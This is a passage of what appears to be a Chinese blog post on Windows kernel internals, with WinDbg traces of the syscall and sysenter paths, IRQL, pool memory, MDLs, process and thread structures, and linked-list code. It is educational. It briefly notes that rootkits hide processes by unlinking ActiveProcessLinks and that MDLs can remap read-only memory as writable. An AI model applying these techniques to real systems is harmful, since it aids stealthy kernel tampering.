<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fadc3</span><span class="w"> </span><span class="mi">654889242510000000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="nl">gs</span><span class="p">:</span><span class="o">[</span><span class="n">10h</span><span class="o">]</span><span class="p">,</span><span class="n">rsp</span>
<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fadcc</span><span class="w"> </span><span class="mi">65488</span><span class="n">b2425a8010000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rsp</span><span class="p">,</span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="nl">gs</span><span class="p">:</span><span class="o">[</span><span class="n">1A8h</span><span class="o">]</span>
<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fadd5</span><span class="w"> </span><span class="mi">6</span><span class="n">a2b</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="mi">2</span><span class="n">Bh</span>
<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fadd7</span><span class="w"> </span><span class="mi">65</span><span class="n">ff342510000000</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="nl">gs</span><span class="p">:</span><span class="o">[</span><span class="n">10h</span><span class="o">]</span>
<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4faddf</span><span class="w"> </span><span class="mi">4153</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">r11</span>
<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fade1</span><span class="w"> </span><span class="mi">6</span><span class="n">a33</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="mi">33</span><span class="n">h</span>
<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fade3</span><span class="w"> </span><span class="mi">51</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">rcx</span>
</code></pre></div>
<p>世界的尽头就是<code>nt!KiSystemCall64</code></p>
<p>Windows在系统启动阶段对处理器进行初始化的时候将<code>IA32 LSTAR MSR</code>设置为<code>nt!KiSystemCall64</code>函数的地址</p>
<p>具体实现代码在<code>nt!KiInitializeBootStructures</code></p>
<div class="highlight"><pre><span></span><code>uf nt!KiInitializeBootStructures
...
fffff803`eb7e4990 488d052964d1ff lea rax,[nt!KiSystemCall64 (fffff803`eb4fadc0)]
fffff803`eb7e4997 b9820000c0 mov ecx,0C0000082h
fffff803`eb7e499c 488bd0 mov rdx,rax
fffff803`eb7e499f 48c1ea20 shr rdx,20h
fffff803`eb7e49a3 0f30 wrmsr
...
</code></pre></div>
<p><code>wrmsr</code>指令会将<code>EDX:EAX</code>写入由ECX寄存器指定的MSR寄存器中:<a href="https://www.felixcloutier.com/x86/wrmsr">https://www.felixcloutier.com/x86/wrmsr</a></p>
<div class="highlight"><pre><span></span><code><span class="n">MSR</span><span class="o">[</span><span class="n">ECX</span><span class="o">]</span><span class="w"> </span><span class="err">←</span><span class="w"> </span><span class="nl">EDX</span><span class="p">:</span><span class="n">EAX</span>
</code></pre></div>
<p>在上面的汇编代码中,首先将<code>nt!KiSystemCall64</code>函数的地址放到了rax中,然后给rcx赋值</p>
<p><strong>rax值复制到rdx,rdx右移32bit,这样一来edx就是<code>nt!KiSystemCall64</code>函数地址的高32位,eax就是该地址的低32位,执行完wrmsr指令后即可将<code>nt!KiSystemCall64</code>函数的地址写入<code>IA32_LSTAR MSR (0xc0000082)</code></strong></p>
<p>在执行syscall指令之前,RCX中已经保存了返回地址,因此当syscall做完自己的工作后,就会将RCX中的值放到RIP寄存器中,这样就可以返回到syscall之后的指令处继续执行了</p>
<p><a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126048975#mark_71">使用traps实现的syscall代码注释</a></p>
<p>下面来看x86的,32位的Windows操作系统使用SYSENTER指令实现系统调用</p>
<div class="highlight"><pre><span></span><code>kd> u ntdll!NtQueryInformationProcess
ntdll!NtQueryInformationProcess:
770c4fc0 b8b0000000 mov eax,0B0h
770c4fc5 e803000000 call ntdll!NtQueryInformationProcess+0xd (770c4fcd)
770c4fca c21400 ret 14h
770c4fcd 8bd4 mov edx,esp
770c4fcf 0f34 sysenter
770c4fd1 c3 ret
770c4fd2 8bff mov edi,edi
</code></pre></div>
<p><code>ntdll!NtQueryInformationProcess+0xd</code>的代码是</p>
<div class="highlight"><pre><span></span><code><span class="mf">770</span><span class="n">c4fca</span><span class="w"> </span><span class="n">c21400</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="mf">14</span><span class="n">h</span>
<span class="mf">770</span><span class="n">c4fcd</span><span class="w"> </span><span class="mf">8</span><span class="n">bd4</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">edx</span><span class="p">,</span><span class="n">esp</span>
</code></pre></div>
<p><code>ret 14h</code>说明传入了20字节的参数,一个按照4字节,就是5个参数,用户空间的rsp被保存到了edx寄存器中</p>
<p>Intel文档中规定SYSENTER指令会将EIP设置为MSR(0x176h)的值</p>
<div class="highlight"><pre><span></span><code>kd> rdmsr 176
msr[176] = 00000000`811741d0
kd> u 811741d0
nt!KiFastCallEntry:
811741d0 b923000000 mov ecx,23h
811741d5 6a30 push 30h
811741d7 0fa1 pop fs
811741d9 8ed9 mov ds,cx
811741db 8ec1 mov es,cx
811741dd 648b0d40000000 mov ecx,dword ptr fs:[40h]
811741e4 8b6104 mov esp,dword ptr [ecx+4]
811741e7 6a23 push 23h
</code></pre></div>
<p>和SYSCALL指令不同的是,SYSENTER并不会在寄存器中设置返回地址,那么在系统调用执行完成后,是如何返回到之前的执行流程的呢</p>
<p>关于函数调用过程中,栈空间的变化,<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/124604874?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165933404716781790774988%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165933404716781790774988&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124604874-null-null.nonecase&utm_term=%E6%A0%88&spm=1018.2226.3001.4450">参考这篇文章</a></p>
<p>那么在上面<code>ntdll!NtQueryInformationProcess</code>代码中,函数<code>ntdll!NtQueryInformationProcess+0xd</code>的第一条指令就是将esp保存到edx中,而此时的esp指向的正是该函数的返回地址,也就是<code>RET 14h</code>指令的地址(<strong>不要问我为什么不是ebp,因为此处根本就没有push ebp的操作,和参考文章略有不同</strong>)</p>
<div class="highlight"><pre><span></span><code>kd> bp ntdll!NtQueryInformationProcess
kd> g
kd> u
ntdll!NtQueryInformationProcess:
770c4fc0 b8b0000000 mov eax,0B0h
770c4fc5 e803000000 call ntdll!NtQueryInformationProcess+0xd (770c4fcd)
770c4fca c21400 ret 14h
770c4fcd 8bd4 mov edx,esp
770c4fcf 0f34 sysenter
770c4fd1 c3 ret
770c4fd2 8bff mov edi,edi
kd> dd /c 1 esp L4
03c8eab0 747d10e1
03c8eab4 ffffffff
03c8eab8 0000001a
03c8eabc 03c8eacc
03c8eaec 0002017c
kd> t
eax=000000b0 ebx=063c41e0 ecx=00000030 edx=00000320 esi=06279490 edi=06279480
eip=770c4fc5 esp=03c8eab0 ebp=03c8ead0 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ntdll!NtQueryInformationProcess+0x5:
001b:770c4fc5 e803000000 call ntdll!NtQueryInformationProcess+0xd (770c4fcd)
kd> t
eax=000000b0 ebx=063c41e0 ecx=00000030 edx=00000320 esi=06279490 edi=06279480
eip=770c4fcd esp=03c8eaac ebp=03c8ead0 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ntdll!NtQueryInformationProcess+0xd:
001b:770c4fcd 8bd4 mov edx,esp
kd> dd /c 1 esp L4
03c8eaac 770c4fca
03c8eab0 747d10e1
03c8eab4 ffffffff
03c8eab8 0000001a
</code></pre></div>
<p>系统调用完成后,syscall dispatcher会执行SYSEXIT指令,根据定义,SYSEXIT指令会将EIP设置为EDX的值,将ESP设置为ECX的值</p>
<p>实际情况是EDX保存的是<code>ntdll!KiFastSystemCallRet</code>函数的地址,ECX保存的是调用<code>ntdll!NtQueryInformationProcess+0xd (770c4fcd)</code>函数之后的esp的值</p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">bp</span><span class="w"> </span><span class="n">KiSystemCallExit2</span><span class="o">+</span><span class="mi">18</span>
<span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">bl</span>
<span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">e</span><span class="w"> </span><span class="n">Disable</span><span class="w"> </span><span class="n">Clear</span><span class="w"> </span><span class="mi">81174458</span><span class="w"> </span><span class="mi">0001</span><span class="w"> </span><span class="p">(</span><span class="mi">0001</span><span class="p">)</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">KiSystemCallExit2</span><span class="o">+</span><span class="mh">0x18</span>
<span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">g</span>
<span class="n">Breakpoint</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">hit</span>
<span class="n">eax</span><span class="o">=</span><span class="mi">00000000</span><span class="w"> </span><span class="n">ebx</span><span class="o">=</span><span class="mi">063</span><span class="n">c41e0</span><span class="w"> </span><span class="n">ecx</span><span class="o">=</span><span class="mi">03</span><span class="n">c8eaac</span><span class="w"> </span><span class="n">edx</span><span class="o">=</span><span class="mi">770</span><span class="n">c6954</span><span class="w"> </span><span class="n">esi</span><span class="o">=</span><span class="mi">06279490</span><span class="w"> </span><span class="n">edi</span><span class="o">=</span><span class="mi">06279480</span>
<span class="n">eip</span><span class="o">=</span><span class="mi">81174458</span><span class="w"> </span><span class="n">esp</span><span class="o">=</span><span class="mi">8</span><span class="n">ba6dfcc</span><span class="w"> </span><span class="n">ebp</span><span class="o">=</span><span class="mi">03</span><span class="n">c8ead0</span><span class="w"> </span><span class="n">iopl</span><span class="o">=</span><span class="mi">0</span><span class="w"> </span><span class="n">nv</span><span class="w"> </span><span class="n">up</span><span class="w"> </span><span class="n">ei</span><span class="w"> </span><span class="n">ng</span><span class="w"> </span><span class="n">nz</span><span class="w"> </span><span class="n">na</span><span class="w"> </span><span class="n">pe</span><span class="w"> </span><span class="n">nc</span>
<span class="n">cs</span><span class="o">=</span><span class="mi">0008</span><span class="w"> </span><span class="n">ss</span><span class="o">=</span><span class="mi">0010</span><span class="w"> </span><span class="n">ds</span><span class="o">=</span><span class="mi">0023</span><span class="w"> </span><span class="n">es</span><span class="o">=</span><span class="mi">0023</span><span class="w"> </span><span class="n">fs</span><span class="o">=</span><span class="mi">0030</span><span class="w"> </span><span class="n">gs</span><span class="o">=</span><span class="mi">0000</span><span class="w"> </span><span class="n">efl</span><span class="o">=</span><span class="mi">00000286</span>
<span class="n">nt</span><span class="err">!</span><span class="n">KiSystemCallExit2</span><span class="o">+</span><span class="mh">0x18</span><span class="err">:</span>
<span class="mi">81174458</span><span class="w"> </span><span class="mi">0</span><span class="n">f35</span><span class="w"> </span><span class="n">sysexit</span>
<span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dd</span><span class="w"> </span><span class="o">/</span><span class="n">c</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="n">L1</span>
<span class="mi">03</span><span class="n">c8eaac</span><span class="w"> </span><span class="mi">770</span><span class="n">c4fca</span>
<span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">u</span><span class="w"> </span><span class="n">edx</span>
<span class="n">ntdll</span><span class="err">!</span><span class="nl">KiFastSystemCallRet</span><span class="p">:</span>
<span class="mi">770</span><span class="n">c6954</span><span class="w"> </span><span class="n">c3</span><span class="w"> </span><span class="n">ret</span>
<span class="mi">770</span><span class="n">c6955</span><span class="w"> </span><span class="mi">8</span><span class="n">da42400000000</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="o">[</span><span class="n">esp</span><span class="o">]</span>
<span class="mi">770</span><span class="n">c695c</span><span class="w"> </span><span class="mi">8</span><span class="n">d642400</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="o">[</span><span class="n">esp</span><span class="o">]</span>
<span class="n">ntdll</span><span class="err">!</span><span class="nl">KiIntSystemCall</span><span class="p">:</span>
<span class="mi">770</span><span class="n">c6960</span><span class="w"> </span><span class="mi">8</span><span class="n">d542408</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">edx</span><span class="p">,</span><span class="o">[</span><span class="n">esp+8</span><span class="o">]</span>
<span class="mi">770</span><span class="n">c6964</span><span class="w"> </span><span class="n">cd2e</span><span class="w"> </span><span class="nc">int</span><span class="w"> </span><span class="mi">2</span><span class="n">Eh</span>
<span class="mi">770</span><span class="n">c6966</span><span class="w"> </span><span class="n">c3</span><span class="w"> </span><span class="n">ret</span>
<span class="mi">770</span><span class="n">c6967</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="n">nop</span>
<span class="mi">770</span><span class="n">c6968</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="n">nop</span>
</code></pre></div>
<p>将EIP设置为EDX的值将会立即执行<code>ntdll!KiFastSystemCallRet</code>函数的<code>ret</code>指令,从栈中取出返回地址,即ecx指向的地址<code>770c4fca</code>,也就是<code>ntdll!NtQueryInformationProcess</code>函数中的<code>ret 14h</code>这条指令的地址</p>
<h3>中断请求等级</h3>
<p>IRQL——Interrupt Request Level</p>
<p>简单来讲,IRQL就是一个数字,定义在KIRQL结构体中,是一个UCHAR类型,也就是说长度只有1字节,这是一个分配给处理器的数字</p>
<p>IRQL的值越大,优先级就越高</p>
<p>处理器的本地中断控制器中有两个寄存器,一个是可编程的TPR,一个是只读的PPR,可以通过TPR来控制IRQL的值,PPR用于保存当前IRQL的值</p>
<p>在Windows中,可以通过KeRaiseIrql和KeLowerIrql这两个内核函数来控制IRQL,在X64中,可以通过CR8寄存器快速访问TPR</p>
<div class="highlight"><pre><span></span><code>kd> u nt!KzRaiseIrql
nt!KzRaiseIrql:
fffff800`6ccd7260 440f20c0 mov rax,cr8
fffff800`6ccd7264 0fb6c9 movzx ecx,cl
fffff800`6ccd7267 440f22c1 mov cr8,rcx
fffff800`6ccd726b c3 ret
</code></pre></div>
<div class="highlight"><pre><span></span><code>kd> u nt!KzLowerIrql
nt!KzLowerIrql:
fffff800`6ccd72c0 0fb6c1 movzx eax,cl
fffff800`6ccd72c3 440f22c0 mov cr8,rax
fffff800`6ccd72c7 c3 ret
</code></pre></div>
<h3>Pool Memory</h3>
<p>在内存分配方面,内核模式和用户模式很相似,都是在运行时进行</p>
<p>内核模式下的内存叫做pool memory,相当于用户模式下的heap memory</p>
<p>pool memory有两种类型:</p>
<ul>
<li>paged pool</li>
<li>non-paged pool</li>
</ul>
<p><a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/125445860">关于内存分页机制</a></p>
<p>这两种类型的pool memory的区别在于,前者可以在任意时刻被交换到硬盘中,而后者永远都不会被交换到硬盘中</p>
<p>对于paged pool,如果内核模式下的代码访问的内存被交换出去了,那么page-fault会被触发从而将对应的内存交换回来,而后者不会触发page-fault</p>
<p>对于运行在高IRQL(>APC_LEVEL)的内核代码,只能使用non-paged pool,因为如果使用paged pool,可能会触发page-fault,从而导致page-fault handler发起缺页中断请求,但是当前运行线程的IRQL太高,比自己低的都会被阻塞,那么这个处理器就完全死掉了,<strong>进入了死锁,缺页中断在等待内核代码降低自己IRQL从而将内存交换回来,而内核代码在等待缺页中断将内存交换回来</strong>,这将会直接导致内核崩溃</p>
<p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-hardware-priorities?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/managing-hardware-priorities</a></p>
<blockquote>
<p>Any routine that is running at greater than IRQL APC_LEVEL can neither allocate memory from paged pool nor access memory in paged pool safely. If a routine running at IRQL greater than APC_LEVEL causes a page fault, it is a fatal error.</p>
</blockquote>
<p>pool memory的分配和释放分别使用<code>ExAllocatePool *</code>和<code>ExFreePool *</code>函数</p>
<h3>Memory Descriptor Lists</h3>
<p>MDL</p>
<p>关于MDL的介绍,我放到了<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126121350?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22126121350%22%2C%22source%22%3A%22ma_de_hao_mei_le%22%7D&ctrtid=isKDm">这里</a></p>
<p>多个MDL可以组成链表,MDL中有一个Next成员用于指向下一个MDL</p>
<p>一段buffer的MDL创建之后,对应的物理内存页就可以被锁定在内存中(意味着这段内存暂时不能被复用),然后可以讲这段物理内存映射到虚拟内存中</p>
<p>MDL的一个应用场景就是写入不可写的内存,可以先初始化一个MDL,上锁,然后把这段不可写的虚拟内存对应的物理内存重新映射到可写的虚拟内存中</p>
<h3>进程和线程</h3>
<p>在Windows操作系统中,线程通过两个内核结构体定义:</p>
<ul>
<li>ETHREAD</li>
<li>KTHREAD</li>
</ul>
<p>前者保存一些基本信息,比如线程ID、关联进程等等信息</p>
<p>后者保存调度信息,比如线程栈信息,运行在哪颗处理器上</p>
<p>ETHREAD结构体中包含一个类型为KTHREAD的成员</p>
<p>windows调度器是针对线程进行调度的,而不是进程</p>
<p>一个进程至少包含一个线程(主线程),进程由内核中的两个结构体定义:</p>
<ul>
<li>EPROCESS</li>
<li>KPROCESS</li>
</ul>
<p>前者保存进程的基本信息,比如进程ID,security token,线程列表等信息</p>
<p>后者保存调度信息,page directory table,ideal processor等信息</p>
<p>EPROCESS结构体中包含一个类型为KPROCESS的成员</p>
<p>可以通过windbg的<code>dt</code>命令查看这几个结构体的定义</p>
<p>这里以x64举例</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2c8 ProcessLock : _EX_PUSH_LOCK
+0x2d0 CreateTime : _LARGE_INTEGER
+0x2d8 RundownProtect : _EX_RUNDOWN_REF
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
...
kd> dt nt!_KPROCESS
+0x000 Header : _DISPATCHER_HEADER
+0x018 ProfileListHead : _LIST_ENTRY
+0x028 DirectoryTableBase : Uint8B
+0x030 ThreadListHead : _LIST_ENTRY
+0x040 ProcessLock : Uint4B
+0x044 Spare0 : Uint4B
+0x048 Affinity : _KAFFINITY_EX
...
kd> dt nt!_ETHREAD
+0x000 Tcb : _KTHREAD
+0x348 CreateTime : _LARGE_INTEGER
+0x350 ExitTime : _LARGE_INTEGER
+0x350 KeyedWaitChain : _LIST_ENTRY
+0x360 ChargeOnlySession : Ptr64 Void
+0x368 PostBlockList : _LIST_ENTRY
...
kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : Ptr64 Void
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr64 Void
+0x030 StackLimit : Ptr64 Void
+0x038 StackBase : Ptr64 Void
...
</code></pre></div>
<p>rootkit通过删除_EPROCESS结构体中的ActiveProcessLinks成员来隐藏特定的进程</p>
<p>不过该成员在结构体中的偏移量可能会随着windows版本的不同而发生变化</p>
<p>在用户模式中,也由于上述结构体对应的概念存在,PEB和TED分别为进程环境块和线程环境块,用于描述进程和线程的基本信息</p>
<ul>
<li>nt!_PEB</li>
<li>nt!_TEB</li>
</ul>
<p>用户模式的代码可以通过FS(x86)和GS(x64)段寄存器访问TEB</p>
<h3>execution context</h3>
<p>从内核的角度来看,execution context可以被分为三类</p>
<ul>
<li>Thread Context</li>
<li>System Context</li>
<li>Arbitrary Context</li>
</ul>
<p>代码运行时所处的context决定了你当前位于哪块地址空间以及你所拥有的security privilege</p>
<h3>内核同步原语</h3>
<p>事件、自旋锁、互斥量、资源锁、定时器这些是最常用的同步原语</p>
<p>事件可以有两种状态</p>
<ul>
<li>signaled</li>
<li>non-signaled</li>
</ul>
<p>事件在内核中通过KEVENT结构体定义,通过KeInitializeEvent函数来初始化</p>
<p>线程可以通过KeWaitForSingleObject或KeWaitForMultipleObjects来等待事件</p>
<p>事件通常被驱动用来通知其他的线程某种特定的条件已被满足</p>
<p>定时器在内核中由KTIMER结构体定义,通过KeInitializeTimer(Ex)初始化</p>
<p>可以在初始化定时器的时候指定一个DPC例程,当定时器过期的时候执行该例程</p>
<p>互斥量、自旋锁不再介绍,学过操作系统原理的都懂</p>
<h2>Lists</h2>
<p>链表是创建内核和驱动中的动态数据块的重要基础</p>
<p>许多内核结构体都是基于链表创建的</p>
<p>在WDK头文件中,可能会存在几个操作链表的函数:</p>
<ul>
<li>InsertHeadList</li>
<li>InsertTailList</li>
<li>RemoveHeadList</li>
<li>RemoveEntryList</li>
<li>...</li>
</ul>
<p>但是这些函数基本上都是使用<code>inline</code>关键字修饰的,在编译阶段会被优化到caller中变成一段代码,而不是函数,因此你不会在汇编代码中看到类似<code>call InsertHeadList</code>这样的指令</p>
<h3>实现细节</h3>
<p>WDK中定义的函数支持以下几种类型的链表</p>
<ul>
<li>单链表——每个entry中只有一个Next指针</li>
<li>Sequenced单链表——与上面单链表的唯一区别就是它支持原子操作,在更改这种类型的链表之前不需要申请加锁</li>
<li>循环双链表——每个entry中拥有两个指针,指向前面entry的Blink以及指向后面entry的Flink</li>
</ul>
<p>本章只介绍最后一种类型的链表,因为它是用的最多的</p>
<p>双链表entry(节点)的定义</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_LIST_ENTRY</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_LIST_ENTRY</span><span class="w"> </span><span class="o">*</span><span class="n">Flink</span><span class="err">;</span><span class="w"> </span><span class="c1">// forward link,指向自己后面的节点</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_LIST_ENTRY</span><span class="w"> </span><span class="o">*</span><span class="n">Blink</span><span class="p">;</span><span class="w"> </span><span class="c1">// backward link,指向自己前面的节点</span>
<span class="p">}</span><span class="w"> </span><span class="n">LIST_ENTRY</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">PLIST_ENTRY</span><span class="p">;</span>
</code></pre></div>
<p>一般来讲,LIST_ENTRY中会存储数据,但是实际上,LIST_ENTRY只存储了两个LIST_ENTRY指针,LIST_ENTRY会被嵌入到真正储存数据的其他结构体中</p>
<p>使用函数InitializaListHead函数初始化链表,该函数会使设置Flink和Blink这两个指针指向链表头结点</p>
<div class="highlight"><pre><span></span><code><span class="n">VOID</span><span class="w"> </span><span class="nf">InitializeListHead</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">ListHead</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p><img alt="image-20220803150917176" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QOTIckyGdD.jpg"></p>
<p>该函数的汇编代码</p>
<p><img alt="image-20220803151504802" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZqKjiVxVJG.jpg"></p>
<p>4和8是Blink在LIST_ENTRY中的偏移量,eax和r11是ListHead</p>
<p>在初始化之后,就可以对链表进行插入了,可以插入到头部或者尾部</p>
<p>看一下KDPC结构体的定义</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_KDPC
+0x000 Type : UChar
+0x001 Importance : UChar
+0x002 Number : Uint2B
+0x008 DpcListEntry : _LIST_ENTRY ; 正如上面所说,LIST_ENTRY被嵌入到其他结构体中
+0x018 DeferredRoutine : Ptr64 void
+0x020 DeferredContext : Ptr64 Void
+0x028 SystemArgument1 : Ptr64 Void
+0x030 SystemArgument2 : Ptr64 Void
+0x038 DpcData : Ptr64 Void
</code></pre></div>
<p>插入之后链表就变成了下面这个样子</p>
<p><img alt="image-20220803151945135" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XahtCkPdww.jpg"></p>
<p>由原来的Flink和Blink都指向自己变成了都指向KDPC结构体中的LIST_ENTRY结构体(DPCListEntry)</p>
<p>然后DpcListEntry的Flink和Blink都指向头结点(因为现在只有两个节点,所以每个节点的头尾指针指向的都是同一个节点)</p>
<p>使用InsertHeadList从头部插入一个KDPC节点,此时链表将会变成下面这个样子</p>
<p><img alt="image-20220803152316934" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BCRLnAKrui.jpg"></p>
<p>注意在上图中,中间的那个是新插入的节点,可以集合下面的反编译代码理解</p>
<p>下面是反编译出来的InsertHeadList函数</p>
<div class="highlight"><pre><span></span><code><span class="n">VOID</span><span class="w"> </span><span class="nf">InsertHeadList</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">ListHead</span><span class="p">,</span><span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Entry</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Entry</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Flink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Entry</span><span class="o">-></span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="p">;</span>
<span class="w"> </span><span class="n">Flink</span><span class="o">-></span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>新插入节点的Flink将会指向之前的节点,而之前的节点就是<code>Listhead->Flink</code>,因此有<code>Entry->Flink = ListHead->Flink</code></p>
<p>新节点的Blink将会指向头结点,即<code>Entry->Blink = ListHead</code></p>
<p>头结点的Flink将会指向新的节点,<code>ListHead->Flink = Entry</code></p>
<p>之前的节点,也就是<code>ListHead->Flink</code>的Blink将会指向新的节点,因此有<code>ListHead->Flink(Flink)->Blink = Entry</code></p>
<p>头结点的Blink和之前节点的Flink无需变动</p>
<p>汇编代码</p>
<p><img alt="image-20220803154324092" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cjKeGSHiPr.jpg"></p>
<p>上面的x86代码中,ebx是<code>ListHead</code>,ecx是<code>Entry</code>,由于Flink是ListEntry第一个成员,所以和<code>ListHead->Flink</code>就是<code>[ebx]</code></p>
<p>x64代码中,rdi是<code>ListHead</code>,rax是<code>Entry</code></p>
<p>使用InsertTailList可以从链表尾部插入一个节点,链表将会变成下面这个样子</p>
<p><img alt="image-20220803155408127" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ZnyGRMugNh.jpg"></p>
<p>结合下面的反汇编代码理解</p>
<div class="highlight"><pre><span></span><code><span class="n">VOID</span><span class="w"> </span><span class="nf">InsertTailList</span><span class="p">(</span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">ListHead</span><span class="p">,</span><span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Entry</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">Blink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Blink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Entry</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ListHead</span><span class="p">;</span>
<span class="w"> </span><span class="n">Entry</span><span class="o">-></span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Blink</span><span class="p">;</span>
<span class="w"> </span><span class="n">Blink</span><span class="o">-></span><span class="n">Flink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="w"> </span><span class="n">ListHead</span><span class="o">-></span><span class="n">Blink</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Entry</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>Header的Blink和OldEntry的Flink发生了变化,都变成指向NewEntry</p>
<p><code>ListHead->Blink = Entry</code></p>
<p><code>ListHead->Flink/Blink(Blink)->Flink = Entry</code></p>
<p>NewEntry的Flink和Blink分别指向Header和OldEntry</p>
<p><code>Entry->Flink= ListHead</code></p>
